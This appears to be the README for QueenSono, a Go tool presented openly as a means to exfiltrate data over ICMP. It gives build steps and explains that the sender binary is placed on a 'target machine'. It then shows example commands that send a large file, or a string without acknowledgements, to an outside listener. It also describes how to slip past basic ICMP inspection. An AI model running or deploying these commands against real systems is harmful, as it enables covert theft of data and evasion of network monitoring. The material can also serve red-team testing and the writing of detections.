QueenSono – ICMP Data Exfiltration

Golang binary for data exfiltration with ICMP protocol

QueenSono tool only relies on the fact that ICMP protocol isn’t monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher). Try to imitate PyExfil (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful)


Install the binary from source

Clone the repo and download the dependencies locally:

git clone https://github.com/ariary/QueenSono.git
make before.build

To build the ICMP packet sender qssender :


To build the ICMP packet receiver qsreceiver :



qssender is the binary which will send ICMP packet to the listener , so it is the binary you have to transfer on your target machine.

qsreceiver is the listener on your local machine (or wherever you could receive icmp packet)

All commands and flags of the binaries could be found using --help

Example 1: Send with “ACK”

In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK).


On local machine:

$ qsreceiver receive -l -p -f received_bible.txt


On target machine:

$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l -r -s 50000 bible.txt


Example 2: Send without “ACK”

In this example we want to send a message without waiting for echo reply (it could be useful in the case if target firewall filter incoming icmp packet)

qssono trunc

On local machine:

$ qsreceiver receive truncated 1 -l


On target machine:

$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l -r go.mod -s 1 -N



  • only work on Linux (due to the use of golang net icmp package)
  • need cap_net_raw capabilities
